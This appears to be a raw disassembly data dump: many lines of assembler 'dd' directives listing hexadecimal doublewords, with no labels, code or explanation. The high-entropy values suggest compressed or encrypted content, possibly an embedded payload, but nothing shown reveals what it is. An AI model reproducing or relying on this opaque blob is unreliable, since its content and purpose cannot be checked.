dd 3001A39Fh, 4616E7BBh, 10C0ED7Eh, 66FC3Ah, 0F84ED1BAh
dd 5CD9CBA8h, 38F96A38h, 0AD05F4C5h, 0D6238AA6h, 4A00EC1Fh
dd 3C5AB390h, 99D80E34h, 45E1E7A9h, 3011BF1Dh, 0D000AA68h
dd 0AC8FBF5h, 0E8097656h, 60AB0078h, 435C5F14h, 0CF8F9B7h
dd 7F11E600h, 3FB0B77h, 530107B0h, 90B82065h, 7E5793D1h
dd 0A7A3861Ch, 7D5D7480h, 16103522h, 0F1551Bh, 65CAD6Dh
dd 0D70014EAh, 35A2C086h, 164402h, 49F5F8B7h, 5CB254FDh
dd 6AF658h, 0FB9F414Dh, 2FC9CF91h, 5F5882ABh, 0FA00D7FEh
dd 0A401F927h, 3DA77Fh, 94B61EBEh, 0EFEA9F76h, 135BDF48h
dd 898006A9h, 3A910Ah, 0CB905E33h, 0E7CDE244h, 813E7000h
dd 6C4B2A3Fh, 7E4E0EFBh, 1B604D57h, 0C63A1356h, 0FED92B03h
dd 0B9A573A2h, 0F040F398h, 959E2Dh, 1163BB1Fh, 0CEE723DBh
dd 352A64Ch, 96E15061h, 60A2D8FFh, 0FE1D009Ch, 2758936Ah
dd 1F033084h, 879B10BEh, 8191E8E1h, 0A0233877h, 8C620202h
dd 0C3C017AEh, 0AC009F4Ch, 1DEB3D47h, 30568C8h, 0CA12CF5Bh
dd 0B5B0D173h, 3C0923D8h, 88FCFBC0h, 0D9018D14h, 1E1D5FBAh
dd 7DC31D8h, 0A83BEE9Ah, 2A16A007h, 0BBF2C508h, 0E20ECE33h
dd 56ADC8CBh, 1C1005Ah, 819A424Dh, 5EA23EAh, 97FD0E2Ch
dd 0BCB6800Ch, 90FA3C79h, 38251198h, 0FF12C094h, 9900F453h
dd 0D8E2052h, 1420E11Fh, 59E25Dh, 1507DC14h, 2F80B8Ah
dd 0AFA3FF00h, 0A6718178h, 1F37FF9h, 0D2D61561h, 0D4EA60D1h
dd 6A007320h, 0F611AECCh, 8B70C70h, 0FA1D48DCh, 6D0F801Dh
dd 0DFC6C30Bh, 67DA904Fh, 78A79BDh, 0F0C81564h, 85FA10F8h
dd 1A00BA4Eh, 5DCCB486h, 1C9DFD48h, 6674D37Ch, 0DAF200F1h
dd 3CAC0487h, 9652E50Eh, 0B663E36Eh, 9006F009h, 0F67B00D1h
dd 201429B4h, 0BA0049C3h, 9428F28h, 0A0612697h, 4CD3D2h
dd 0B6ED81D2h, 6E56CD1Ch, 81595738h, 0ECC94ECCh, 0B4E465B3h
dd 0DFCF0FB9h, 79406732h, 0A5B5206Ch, 0C400C076h, 0F281A066h
dd 0B83A7548h, 13E3EC04h, 14251B4h, 88D409B8h, 0CDB04001h
dd 4CF4A9ACh, 0F71A1700h, 6F92C9E4h, 483F0F93h, 49AFE171h
dd 516D760h, 0FF7E61A3h, 90E6BA00h, 0DE9C3A23h, 44670C0h
dd 0F82CAABDh, 6A50426Dh, 0A0EA0005h, 1D09C902h, 0D75A8EDFh
dd 0DB915600h, 0EDB03E6Dh, 1CB5E909h, 813C8103h, 0F4E16427h
dd 5307CCh, 266318ADh, 0F975A2D3h, 0CF653F17h, 0B5733B00h
dd 37CB6F6h, 20972EDAh, 61A8FDD0h, 0EEE1369h, 320075EAh
dd 373F48A3h, 3EBC787Eh, 0E181015Bh, 24C336Fh, 2BC0FBFDh
dd 2200302Ah, 1AA64834h, 84C74Dh, 0E16C02EEh, 1EAE75DAh
dd 2E28CB00h, 0F26BBAA6h, 0BDE8307Ch, 0D1F037ACh, 68A29100h
dd 802803F9h, 4EDF0ED9h, 8DCEFF25h, 0FADABDE7h, 5180BA88h
dd 0CFF2F313h, 0C9750701h, 0B1F1951Eh, 81075466h, 0C58087EBh
dd 5C8DC475h, 2301BB7Ah, 0C7BB1319h, 411BE876h, 3CD4C238h
dd 52F08F15h, 9A0016A9h, 0C9E6C65Fh, 0A8635C5Eh, 2D35E000h
dd 8087682Bh, 0AA643800h, 57E46DC2h, 70679D4h, 0DDB2183Eh
dd 0B5F323C7h, 3AA032CBh, 0F00077ABh, 5DD14E6Eh, 2455B8h
dd 67038DF2h, 38C84CCFh, 0AB97050Bh, 8EF98080h, 58450D55h
dd 7400C8D7h, 0BECDBF0Fh, 8C90497Fh, 84CA8907h, 6C7339F1h
dd 4F79E86Ah, 1C740037h, 0CD81A858h, 0DF3C1EC5h, 1D4300FCh
dd 0EB9261F0h, 3FBC1274h, 38620042h, 48184C5Ch, 2D931F1Eh
dd 4A349701h, 68606055h, 5E7B0081h, 13B44C67h, 3E1DF2D5h
dd 0D9013064h, 2E9D274Dh, 0B8E4070h, 8846DF0Fh, 59693C80h
dd 0DE062263h, 6C1197CCh, 78D40019h, 0AC701A46h, 6B32840Dh
dd 0E02069C8h, 0D20498h, 66535CB1h, 27A67E6Eh, 9D3CC400h
dd 3E2F28CEh, 3CC99061h, 6F81716Bh, 0B48C9EADh, 784880D6h
dd 0EE2B4150h, 23390043h, 0A1DBD799h, 0F148CB7Dh, 26C60088h
dd 3A76F336h, 154B0065h, 64054530h, 8E7456DBh, 0CD045201h
dd 0E8A15FF8h, 0DED460h, 0B8446889h, 0C16C50B0h, 0A0B98E01h
dd 207F765Eh, 0FD30D240h, 0A9F00018h, 139D4EACh, 9714C8Fh
dd 56728312h, 802A6400h, 98EDF363h, 3CAA079Fh, 202DB4A9h
dd 0AE9C42E4h, 13C96001h, 36CCCFF8h, 154F2C8h, 0D57051C5h
dd 0DC8A1B98h, 62009331h, 7D593385h, 8F701h, 0B25EAD04h
dd 0B1179D64h, 91408A0Eh, 73A54005h, 0F7F1F6h, 88B4D54Bh
dd 0A090316Ah, 8CA7B203h, 0A0EFE16Fh, 303BE0h, 2871D609h
dd 0BA105B99h, 8E12B202h, 6039A82Bh, 149808BDh, 8CDC8C24h
dd 8DDBBF00h, 0DF42BBC5h, 67BC0D00h, 0CCEBCEC4h, 337FF1h
dd 4AE80104h, 5B87F97Eh, 7FDF5700h, 0CBF8483Bh, 0A1E61CB8h
dd 0C67800C3h, 98857496h, 994D2900h, 66AE1B7Dh, 0D8D30764h
dd 700CF409h, 0C1A005BFh, 53EC174Ah, 7B4A2900h, 0F8A6F16Dh
dd 0B4A055E4h, 0A703C416h, 0B0EF91B7h, 80DD806Eh, 20F000DEh
dd 0F4625311h, 0A3090757h, 8AA1F2h, 3DD923E9h, 5C0B03ACh
dd 0F5803FC7h, 46B3DE98h, 2914D14h, 70680DB4h, 9830F4AAh
dd 337B0077h, 997DFC4Eh, 0FDFAC80Dh, 0B023D600h, 0A054071Bh
dd 0A4220E92h, 0F7207C82h, 843C0332h, 0FCCBD703h, 0C06EE299h
dd 182F575Eh, 962D6B77h, 0C4001BC2h, 0B65344D6h, 15DCC5h
dd 0F847AD4h, 3ECDBE98h, 8FCEF412h, 6388BC0Eh, 0F85FFDBBh
dd 28B10AABh, 0BD9A53B4h, 0C8B8E670h, 8E3F5A90h, 95E88061h
dd 0E0FC78EAh, 0CB1F0027h, 6631ABBEh, 5B002437h, 9AC0F82Bh
dd 1FFCBA3Fh, 803C67D1h, 0A6E6D770h, 0B1019719h, 5C7FA00Dh
dd 0B0C0B725h, 0A7AD3F6Ah, 6831E83h, 42A8BDC2h, 6C012FA9h
dd 4E4F63BAh, 0E041D354h, 0B88082AEh, 0FC5B77A8h, 78C034BEh
dd 0C46B59A5h, 0BCC503C3h, 0C0DBED42h, 0B0CF87Dh, 907F03E0h
dd 6F5F28D6h, 0F514AF4h, 6AA7404Ch, 9FE660A3h, 0BE7D71B9h
dd 8C46A11Eh, 8901D893h, 0E36331ADh, 889860h, 7E4C2187h
dd 2F7DF450h, 3E29DA0Ah, 0F300B033h, 66A884F0h, 7CCD07C4h
dd 0B0220AEDh, 0C52B71F7h, 335B9E04h, 28C1092Ah, 5EE0D97Dh
dd 7AEC0373h, 62A036D5h, 91D90FA5h, 0AF4658C2h, 0BE00B059h
dd 5B95A6A8h, 0AD960564h
dd 1DA5D6Fh, 0FED9B2EDh, 20BCBFh, 695F8748h, 6185E9h, 6AC62831h
dd 51681CBDh, 0F590BA00h, 0A1B2D34h, 3632135Dh, 0CB0006Ch
dd 2BF0859Eh, 1FBA3B3Fh, 821C1854h, 24FDDE00h, 3C7A9703h
dd 8100117Dh, 7263FF69h, 160087A4h, 478EE4EDh, 26905701h
dd 0BCC5FCFh, 0A60E7378h, 0FF0A2E00h, 0EE0FB076h, 0C0164B88h
dd 2A9BCC04h, 18070659h, 14292C41h, 5396C305h, 7CD04797h
dd 49406Fh, 70C418CFh, 0A36B07C1h, 80F90639h, 0DE57D779h
dd 4E04048h, 2B89B3Fh, 0A0A2C49Ch, 0D60EAEA4h, 65B34F3Dh
dd 0C9C4F5BDh, 38D281C5h, 0D526602Ah, 1CB05Dh, 0B9C79233h
dd 0A90F1916h, 5F14E300h, 9148F1ABh, 0C0BB7AFCh, 31F962A0h
dd 3B00A89Fh, 0CA6D5170h, 0EF1D69D8h, 7B03020h, 13B1443Ah
dd 0AF7B0037h, 640072E3h, 8386FD12h, 24FEBE7Dh, 0EBF84Ah
dd 0A7A11E88h, 8902A6A9h, 4191A827h, 1610C84Fh, 73FF0028h
dd 0F2818BCBh, 6000D76Dh, 0CC0E5FB0h, 0BAC503h, 9045B933h
dd 670DC62Bh, 12693E07h, 48E052E7h, 1BFD597h, 7562A253h
dd 0CC18F058h, 7B1EAD2Ah, 0A4003889h, 2D3B84Ch, 0CC4B49C5h
dd 0E742900h, 0DF8F9A9Bh, 0D9283E19h, 4A60ED44h, 0DC5E0139h
dd 0AE19D3E6h, 64FADC7Ch, 760FABB0h, 0A02DE2D0h, 0BC497881h
dd 7B6A3D05h, 0CE5C3180h, 56518CCBh, 140E4376h, 4420ACF9h
dd 4CB9391h, 0EABCC306h, 77091001h, 1A0225h, 0ED8CA9A2h
dd 0C930FD1h, 3F4053D5h, 22EFD808h, 0A40D8600h, 17C7A264h
dd 955D07DCh, 9032CD56h, 0D33EC620h, 0B948C500h, 9E93D64Ah
dd 54A700EAh, 0C1CC5E83h, 0C200BE0Eh, 3A3858D0h, 201489h
dd 0FDE6E930h, 90BB77Eh, 5274A500h, 242F161h, 8B6E005Fh
dd 0AB47E575h, 8460288Dh, 80F5A721h, 8A0E071Ch, 60AF4532h
dd 0C6258DC5h, 39671307h, 60E03BE6h, 1E840624h, 2AE4F62h
dd 0F36AF7D6h, 80C170E8h, 771F891Eh, 40B5124Eh, 4C2E81EFh
dd 0D693002Ah, 443E7D31h, 30003892h, 1185F2BEh, 5F0C1Ah
dd 0C859D758h, 4EB46FC1h, 9A51B600h, 35C7A830h, 20FB0097h
dd 0F3445B08h, 393AC069h, 75F71CF6h, 4CC0BE53h, 492CDF03h
dd 7A0F0C26h, 82CF3C4Ch, 0D4A2065Dh, 5C30A841h, 0E1CC1014h
dd 2000835Fh, 5D3538B1h, 320FF63h, 1CB74D83h, 3C396DFh
dd 7BC55001h, 0BC7AF66Ch, 472D3840h, 0D1330C28h, 6F28F3CBh
dd 51214E06h, 783198BDh, 0EF820CC5h, 0F948FC35h, 6F30A2EEh
dd 0F8BE787Ah, 0A4B3E854h, 9097002Ch, 9B00B9Dh, 6C06621Ah
dd 91276B8Bh, 9B0200A0h, 0AAE3146Ah, 0AD00BAD3h, 95B78EC0h
dd 3CCD7DAh, 0FA769FB1h, 0DDF8E8C7h, 7A0058C4h, 276A7226h
dd 90F24D98h, 39830728h, 307E01FBh, 0EE0AF3B5h, 0E038B6E0h
dd 6C2572DAh, 1D9958DCh, 0E9717CEh, 58809ECAh, 85940D3Ch
dd 3DC48C00h, 0E2291BDDh, 0C6100173h, 46F5867Eh, 7A57CCEBh
dd 0A137F300h, 8E5BA8DEh, 13D185Dh, 0C2EBE923h, 0FDF72203h
dd 0E8CA213Eh, 987E9502h, 3CBD7D01h, 4D00C5ABh, 134A8F7Ch
dd 0E003A860h, 0BE8A49D7h, 2FA1D0E4h, 35678A5h, 31132036h
dd 6EF85EE3h, 0AE00F260h, 2A5D9F8Fh, 0E4F51CAh, 0D0EAF0FDh
dd 0B7EC27A0h, 2D00983Bh, 501F34A7h, 3547E7h, 768741F2h
dd 1E602B61h, 9063AC03h, 0C71A4528h, 1FBBC420h, 0BEB6076Bh
dd 4132E321h, 0C8C8931Ch, 0BA009643h, 696A7D18h, 89B5F2h
dd 0CA8F5DACh, 37FE2747h, 52DB6600h, 0FD201E8Ah, 9F2807B1h
dd 60D9065Ah, 38D6C94Ah, 8FCA3E03h, 0CB187D35h, 29E7B05Fh
dd 2CA3034Ch, 5E4E8E0h, 40F1E9A9h, 9336B3DCh, 38CCB409h
dd 0B0ECA87Ah, 730C3E07h, 7780E270h, 0D18C9298h, 97F80420h
dd 100E1A30h, 621A2h, 0EE2215B6h, 80F950E0h, 0C06A7025h
dd 67720E0Dh, 828280Ah, 1D84C290h, 73924468h, 480DBD44h
dd 55644296h, 28047625h, 0AA48FFF1h, 2456B242h, 577215Ah
dd 0E2107E12h, 0DE694014h, 428414A1h, 0E3135228h, 0A22921C2h
dd 0B3A13A04h, 58426608h, 218624CDh, 5190F482h, 14BD8A3Ah
dd 87842A10h, 804E48F7h, 77EAB94h, 0C00F8A4h, 5ED2EE8Dh
dd 0BF6FC69h, 794C58EDh, 361C0CFEh, 0A8F1BF40h, 74AB0F2h
dd 5BDA1574h, 0AB45B0B2h, 0C907093Dh, 105AD4Bh, 8B429B50h
dd 73A30707h, 3018D529h, 0D53D0C1h, 0AC4BEE3Fh, 9C97ECEFh
dd 67943300h, 37F6A19h, 0D8BD0165h, 0CE8053D4h, 76000F2Ah
dd 893BBA39h, 0F511F75h, 246460A7h, 6870C7C0h, 0C616152Bh
dd 104044BBh, 77B85B2h, 9AB618EBh, 40D84826h, 0EA008171h
dd 0DA77AE44h, 9E541h, 4F35DFA6h, 0FA25FC2Eh, 3E6F5300h
dd 75F11673h, 0FD109FBh, 944040CCh, 2818F71Dh, 0CD28EB9Bh
dd 91D93061h, 78AC2460h, 7C1D9D2Eh, 0CA1AB700h, 0F7AA33h
dd 0B1AE967Dh, 0FC381568h, 4B634700h, 0E3821CA0h, 901900AFh
dd 3172628Bh, 8A761B0Eh, 69CADF00h, 9FC2F8FBh, 89E0041Dh
dd 8071CD77h, 0E10964D4h, 2DC6B207h, 8939F884h, 5710080h
dd 0E2CF1A10h, 68420A4Ah, 0C7D42F9Dh, 0A7E0606Eh, 1800AAF6h
dd 0A4609592h, 60703F1Fh, 0DD87C849h, 0A00619Dh, 1320434h
dd 7307CDh, 431BFDDFh, 0AD381991h, 0C9A9B301h, 930C2937h
dd 561CC840h, 0A77E000Bh, 0BC9FDCE4h, 0B30006C7h, 3F5A8EB9h
dd 5FEDD2h, 0A67FE2AEh, 0C130A7EEh, 8D519700h, 0E549C6DCh
dd 3EC7011Ch, 871E0FF2h, 0A7E9E083h, 9B367D1Fh, 0F0FDD4h
dd 255581ECh, 0FE23CAh, 0F0D1788Ah, 0A08562C1h, 0C80E12ECh
dd 413B7F8Bh, 635B21E1h, 4E7DF0h, 0FA82746Fh, 0E5DD4A84h
dd 20000F71h, 2BAB68CAh, 13741A71h, 66F881h, 0F0ED7513h
dd 4900E26Fh, 7862C090h, 0EC8FB9Bh, 0A9E11D01h, 6A2272A0h
dd 790E35D8h, 0E4752Eh, 61134F95h, 0A1B7068Ch, 0C497CB22h
dd 88F8EB12h, 0DBD24C40h, 1C172BCh, 0E6AA575Eh, 40847102h
dd 2D9C82A4h, 39FD350Fh, 0AFC9A0DBh, 0F3E8D73h, 6F6A2E71h
dd 2124C6C0h, 0D200D8A1h, 9731BF0Fh, 118B0Ah, 35018374h
dd 0B93914FBh, 9A1EA49Ah, 0F8C09869h, 0C8EDAA99h, 0D68801C3h
dd 0A2F7DDC9h, 9502031h, 0F800027Eh, 5351CF81h, 77370Ah
dd 0AD7AD4D3h, 6B127FD5h, 2700E378h, 99304B95h, 195DE0h
dd 0ED1EBAEBh, 9F68B257h, 41E7D400h, 0F3F84B7Ch, 0F63D00C9h
dd 51F58821h, 0B6007139h, 0B5F956CDh, 58334Ch, 0B050D2E2h
dd 826E97DAh, 51DDFC00h, 65C95B73h, 0EA340036h, 719F5F8Ah
dd 20013153h, 119BB22h, 0E8D0CFA9h, 189A0FC1h, 0C74059E1h
dd 7603562Eh, 4D022000h, 0BEBD9F6Fh, 0AF380053h, 9574809Ah
dd 782E2713h, 7512A8DFh, 0E3BB0C20h, 0F93700E5h, 52D20A1h
dd 9D05F090h, 683F344Dh, 0B482180h, 0D4890FFFh, 0AAA1F4BFh
dd 70A7B1B9h, 0D50190F4h, 5041D64Bh, 5C20CE05h, 80049B34h
dd 65DCD1ACh, 8C042479h, 9D3D3E46h, 1DDBA4F0h, 0CF4F3B2Ah
dd 0E616F4Ah, 0C0B1B892h, 0BC00EDE7h, 0BD2C975Eh, 9C2A386h
dd 0EE2BFA3Ah, 691B4002h, 0E478B780h, 8907B8EBh, 0F5FAC5D6h
dd 45F210C0h, 4D0F009Fh, 4B780E51h, 0C458F191h, 0A8E43C7Eh
dd 1400D4FFh, 1C438135h, 0F9D5D48h, 0C8A81B25h, 107EE660h
dd 9BE803DDh, 6121530Fh, 6FF8202Eh, 263C29D4h, 50799h
dd 6C88F61Ah, 232AD14Ah, 1C01E890h, 338A7487h, 0BDF18E4Ch
dd 18935BD8h, 28EA789Dh, 1600E5E6h, 25FAB4CFh, 28C526h
dd 9711E871h
dd 6E24A69h, 0C79DFB00h, 6BC0DAD6h, 0B841h, 8A17F3F9h
dd 9F6C316Dh, 965A361Fh, 92A3F480h, 0B0A491h, 0E75EC99Dh
dd 0AA509BCAh, 7F755400h, 7131E8B6h, 14B50E04h, 55C117A1h
dd 0F201972Ch, 0C50764C0h, 0CC06EF28h, 0F327B00h, 0FA2B8A33h
dd 0BB860520h, 5F69230Dh, 4C400C0h, 6C9DDC6Dh, 0FF4B3800h
dd 0FA6864B0h, 0BB8F00FCh, 652D37DDh, 75007993h, 9F3A7AE7h
dd 0A8F356h, 0FAC45BD7h, 0A90A7608h, 0D3AE11C0h, 0E2BA9E6Fh
dd 33271288h, 2400C08Ch, 0A90CD51Bh, 80EF7A90h, 0ADDB02BEh
dd 451C650Dh, 0C3261460h, 0F1437E05h, 0AC30C893h, 0D2D9F5h
dd 8CCE03E0h, 0A6C9A115h, 27870507h, 0CBE20F69h, 0C1084035h
dd 835502CCh, 1E016ABAh, 3D0B5060h, 0D6FBA500h, 20AB3687h
dd 0EA5F0996h, 0D080F795h, 0CDCBDF56h, 6B284B7Ch, 5D00A406h
dd 0E64D6116h, 5044B1h, 8C088793h, 0DF3B5CD4h, 0DDCCB801h
dd 31645BF9h, 17AD70h, 1505E4A3h, 656208B2h, 18C34D0Fh
dd 0CEDD4078h, 1DC46E68h, 1AFB76D4h, 3160119Bh, 8B00E1FFh
dd 0A90F9084h, 1E3ADFA4h, 0C1EA86ADh, 0A835B851h, 33E020B0h
dd 1AC8E601h, 117A2EC2h, 0D9820h, 0D16FDD0Ah, 0B3F315B9h
dd 0A96A0B00h, 1FE707E2h, 0E54801DCh, 1584A29h, 0B3402055h
dd 0AC33D700h, 76DF2CF1h, 8156001Ah, 0D1526034h, 5D0073E4h
dd 8AA79E08h, 9751012h, 7634B594h, 0C4307100h, 5F006BF6h
dd 0D295B1D7h, 0E07BC1D6h, 86C702C9h, 31A69E2Fh, 69A324C0h
dd 0FC99C004h, 30C044EEh, 20BEC5h, 6268C13Eh, 765D17FAh
dd 680958h, 0EE55318Ch, 48A234h, 0C5EC7D33h, 0F6A5766Eh
dd 3F706200h, 7CBAD10Ch, 3E4A7D66h, 270AB37Eh, 0A88644h
dd 3C0CE35Eh, 0A702D322h, 0A83A2F32h, 0D0F480F6h, 2F91112h
dd 0F7DAD77Fh, 6868B564h, 9C0053E1h, 23278FF6h, 0B1ED33A0h
dd 801CC0h, 0D6DE4082h, 0B49A16D8h, 9FB41C13h, 26B81218h
dd 4DA50288h, 4F6C9A24h, 0E45F8460h, 8BA6F21Dh, 0EAB75700h
dd 724BED4h, 11942A92h, 0AD0C7299h, 0CB40B062h, 0C0009F0Eh
dd 123C485Fh, 0D9E673h, 0EE83AE6Ah, 0D0CEA963h, 0E65BF00h
dd 7C6B5B9Eh, 0F4F10310h, 0D297F78Fh, 365DE4D0h, 0D700BCFAh
dd 6E358425h, 9184AEAh, 0FA7563F2h, 20B4C400h, 320E56D5h
dd 78922C64h, 155447B1h, 0D40E9995h, 81586500h, 199CC8DEh
dd 808FDC01h, 23136E57h, 2DCC30h, 68936402h, 9ABB5030h
dd 7D6AEF00h, 32783AB6h, 4B2100F2h, 4E158BECh, 63F643ADh
dd 0ED389000h, 0FE49B1DCh, 34CE0F04h, 8FE091DDh, 87AEA739h
dd 56E8C30Ch, 1942114h, 0E069710h, 0D8B31D29h, 5BFE8450h
dd 748D9B1Eh, 4FFF7C2h, 13460C3h, 318E0096h, 563850EEh
dd 7C03769Bh, 0ED499964h, 0C2689877h, 1303010Bh, 6367CC36h
dd 0F833C9F3h, 0CD0029F0h, 0D4C59A0Dh, 2CC4691Dh, 0AACC7Ah
dd 21703FCEh, 5E0EBEADh, 4037CBD0h, 4D759DB6h, 0F09809h
dd 0C9B22C02h, 0C1730B04h, 0B42190C2h, 98786899h, 0B6FA0B07h
dd 0AC20E912h, 9D8DF8A3h, 26F121C0h, 0FEC1EA3Eh, 2C90B9h
dd 694840E1h, 4F4E1BF0h, 58AA3C02h, 40817A96h, 0EC8CBD0h
dd 17BBC618h, 0D57DEE81h, 0D3842059h, 0BADDE112h, 21BF414h
dd 9B99720Fh, 1D8C4069h, 15E410D6h, 961C00F4h, 32F27585h
dd 0E85A006Eh, 0AB506DA0h, 0E0071055h, 48BBD882h, 0F051EFA0h
dd 0B37CD0h, 64FF7F0Ch, 0BA956352h, 9C1D13FEh, 9808F1A0h
dd 0A4AA008Ah, 6B6CF951h, 189B3F00h, 2A0A847Ch, 0CB7BC0h
dd 7F8819FAh, 4AF8152Bh, 9C6A9300h, 0BB46CD4Eh, 572128C6h
dd 8B1CE6A8h, 9E391E8h, 8BB6E500h, 0F03F45E8h, 47430079h
dd 146FA578h, 0CC4DA771h, 88FD001Ch, 0C27F4AA0h, 11F91265h
dd 1C9C0730h, 3A23F046h, 2930A10Bh, 2AAA3808h, 24C67CEFh
dd 4778h, 56709F6Ah, 0A712DE53h, 0D713E920h, 5E81C42h
dd 4F394021h, 5CE60012h, 3EF5BCDDh, 8402AC79h, 0AB5F342Eh
dd 0A760F7B9h, 9C015737h, 686B2309h, 8434DE86h, 0F30802C9h
dd 3134C85Ch, 8D904E00h, 429CA0F8h, 0AF591CC5h, 184D9FC6h
dd 31389A61h, 0CF086500h, 0F805CE3Ah, 2BF2002Dh, 0F686370Fh
dd 3000A1BAh, 805AE60Eh, 5850A9F9h, 0A840AC0Bh, 146420DBh
dd 0D7905114h, 0D80526A7h, 7E9EEC01h, 1187D0DBh, 0B2258781h
dd 0C689CD2h, 0EBF6E742h, 5B0033F6h, 3FA74BB8h, 16D3859Eh
dd 1C1FC2D9h, 199100A0h, 0A7B4A518h, 4FBE3404h, 0E080F502h
dd 0D8380Ch, 748437B2h, 64050D17h, 3E1CD40h, 0CE116936h
dd 7BB02D70h, 0C70BDD15h, 80CDE979h, 0EBA888DCh, 16F302A4h
dd 0D543476Ch, 0CA57E740h, 0ED2D4E00h, 0FDB4E57Bh, 5A640C89h
dd 1FB8172Ch, 0E0C19024h, 757BF600h, 0AE56A6h, 6092984Dh
dd 971CE3AAh, 0FB63E100h, 0A5A2D536h, 0EC94002Fh, 3DA6BCFCh
dd 0DA0099A4h, 0B03C354Eh, 0FE6B836h, 8E05572h, 0D8D56A05h
dd 580F31BCh, 0E05A47F9h, 0E0CF3B57h, 77161C09h, 698E00A3h
dd 9617C26Fh, 110DF530h, 1AE4BA6h, 0D19352A9h, 2C34B40Fh
dd 22B60088h, 627B7E71h, 0A4F6EAh, 9A04C0B5h, 88C9F956h
dd 2BCA5107h, 61FE41DAh, 57AAB1Bh, 4D8E870h, 252373C9h
dd 0F17C108h, 293C3CADh, 0A4848816h, 8AC00ECCh, 37F5C0h
dd 3B1F94E0h, 9D6BF43Dh, 0D4610B00h, 84C323A6h, 0DB71008Ah
dd 0ABE827F8h, 0C0C0C275h, 38879FFBh, 767C3E1Eh, 7DCE0D83h
dd 0E4F04D70h, 9E26F853h, 4B0033ACh, 8088D5D2h, 0A6760063h
dd 0E024E14Dh, 912829A9h, 7800A8FAh, 0E7F2F9EAh, 2FA27Eh
dd 648CCD2Ch, 743C6808h, 9C27B93Dh, 8580C81Bh, 6CC6DCD4h
dd 5DAE2B8h, 0D1AEF638h, 0F8C4000Eh, 4B78C64h, 2B02348h
dd 4B7DE0BEh, 0EEB0E051h, 26C30007h, 4F8127C4h, 0F0B03F11h
dd 89540603h, 0F8AF71F7h, 9C40E2h, 7012DE73h, 4C59F079h
dd 92903D01h, 7C7C64Ah, 2F00AC28h, 0AEA0FC6Dh, 940073F3h
dd 0FEE93405h, 2C140D72h, 0B82C99h, 8428EDE4h, 0E00BF3F5h
dd 0C145B886h, 4828D084h, 5CA185h, 47DA7F0h, 0FC009DF4h
dd 7BB006DEh, 1866341Ah, 100767AEh, 91184C0Fh, 0C021E2A3h
dd 4C80F3A6h, 18938D76h, 56014895h, 0E00E4785h, 0A470C142h
dd 570C2419h, 8EF20438h, 0B58B006Fh, 774A3D97h, 0FA110759h
dd 0BB656008h, 8E1E5C00h, 572D5283h, 3AA000E8h, 0BA741CFh
dd 71650D0Fh, 803B6020h, 0B2001534h, 8F59645Bh, 5018DC3Fh
dd 35DA1AEh, 9169851Ch, 9CF0BFB5h, 51003BDEh, 0DFF4A6C8h
dd 0C49DC5h, 29A09226h, 4BD47E16h, 84092409h, 57600077h
dd 1D693h, 0A47B90ACh, 5B36DAB6h, 0C52D041Eh, 5A001492h
dd 3E4E8B33h, 0CF0E0037h, 7C22A8DAh, 0BAFAD21Dh, 831687B0h
dd 0E1066165h, 0F2D03C5Dh, 7038F7A9h, 0C2F7B00h, 0F6378213h
dd 5F7D6F00h, 0C95425AAh, 0C61B0006h, 2CB93E45h, 405CE553h
dd 9FFE11B8h, 42E49726h, 54C08F10h, 0EA1E9BC8h, 88C0CC6Dh
dd 0BAF47D9Ah, 0F691748Ch, 0FC1900BCh, 204DABC4h, 7200A9E6h
dd 47B5696h, 32CF70Eh, 1FEAC9FAh, 11B67AC6h, 87833E3Ch
dd 0B1966AEEh, 5810E3A2h, 4D3400BCh, 0D5A46D51h, 4E095564h
dd 0A0AF1499h, 0ACD4F51Ch, 0C1F10E62h, 5EA0A9DDh, 0C254B6C5h
dd 0CE071400h, 4144380Fh, 22B40006h, 0FE655A1Ah, 7600311Fh
dd 400EC593h, 5E986C8Fh, 30A40B32h, 9600A462h, 0F7548DD9h
dd 706C2505h, 70C036E4h
dd 70FBBE4Dh, 0A8A0068h, 79089E9Ah, 4803D9ABh, 0AF5DE45Ah
dd 98BAE87Eh, 0A4DD0381h, 0FEF840Ch, 80B63939h, 0E06127E5h
dd 0FE375F5h, 0CC7DF7DAh, 0D740B2CEh, 9F294314h, 48D29603h
dd 0A7FAAE5Dh, 0A1C08974h, 2472522Dh, 44C9FEh, 2981BC88h
dd 68B6934Fh, 92F19700h, 236EA90h, 991EF9A9h, 0BCC115AFh
dd 35AC43C2h, 0AC4BAA0h, 1AA3FB03h, 88603AF7h, 5146EDh
dd 0F48C5D30h, 52D7287Eh, 0B8CE0800h, 4B7F9449h, 796A050Dh
dd 0C6A13D71h, 1516FEB4h, 54001880h, 0AD7525DBh, 0AE0400BCh
dd 0B5B3C734h, 5105A030h, 6627389h, 98C46BC0h, 471900A5h
dd 0FB07CA55h, 53008C8Ah, 0E4A779C8h, 0E9E35F5h, 0B7A2285Dh
dd 17AF1302h, 0DD248864h, 880107Dh, 0D33C104Ch, 0F9B901C5h
dd 23873BB3h, 0D7B9D7F4h, 71882085h, 0DBAE7A0Ch, 0B0A511C1h
dd 39F100EBh, 5E6E2AE7h, 880F4E64h, 7BB650h, 1AA8C60Fh
dd 58D49062h, 0DC12B093h, 23D0207h, 37C18833h, 879830DFh
dd 0B8EB1602h, 60805250h, 0DD301Ch, 3C17419h, 54CA2458h
dd 0BA837500h, 254DE6FBh, 559B013Ah, 0D9214F98h, 7D2419Dh
dd 39CCF069h, 0C83E600Fh, 73CE60E8h, 0BBA6AAh, 0BE2D389Bh
dd 4C9F3F53h, 0AD4D6C00h, 698AC5D2h, 332E0504h, 0A8B1E984h
dd 0EC1C0198h, 41ADAC3Dh, 7E1030h, 0C0FC90Dh, 5DBFE552h
dd 0FAF09700h, 0DB9E27CCh, 0B9A40002h, 56257CFh, 8B00ECFDh
dd 42B36C4Fh, 26DCBD6Dh, 584E3BEh, 0B00AC8FAh, 40C08F70h
dd 5CC69529h, 0D7BF00D8h, 8BBA7754h, 0B504AA37h, 365A5780h
dd 246CA8E0h, 34181Dh, 0D15C4AE3h, 0E80E847Fh, 16E7AF42h
dd 87668500h, 0F250354Dh, 0A0C01272h, 0D8CC0409h, 2268D806h
dd 0EB866600h, 3B685F5Ah, 0BAC903F3h, 6A4AB74Fh, 28D7112Eh
dd 0D4E06603h, 7B4800B5h, 0BBCE2EF9h, 0EF00301Eh, 0CB048C8Fh
dd 1BC06Dh, 8E50AAF3h, 9EED7E87h, 0F45E8600h, 20C615BCh
dd 5F3CBA38h, 6678414Bh, 0D48E9CC2h, 0F17DF9Fh, 5200AAF5h
dd 8C055D99h, 0A3C90029h, 4AEE2A86h, 640F609Bh, 0ECF1A86Eh
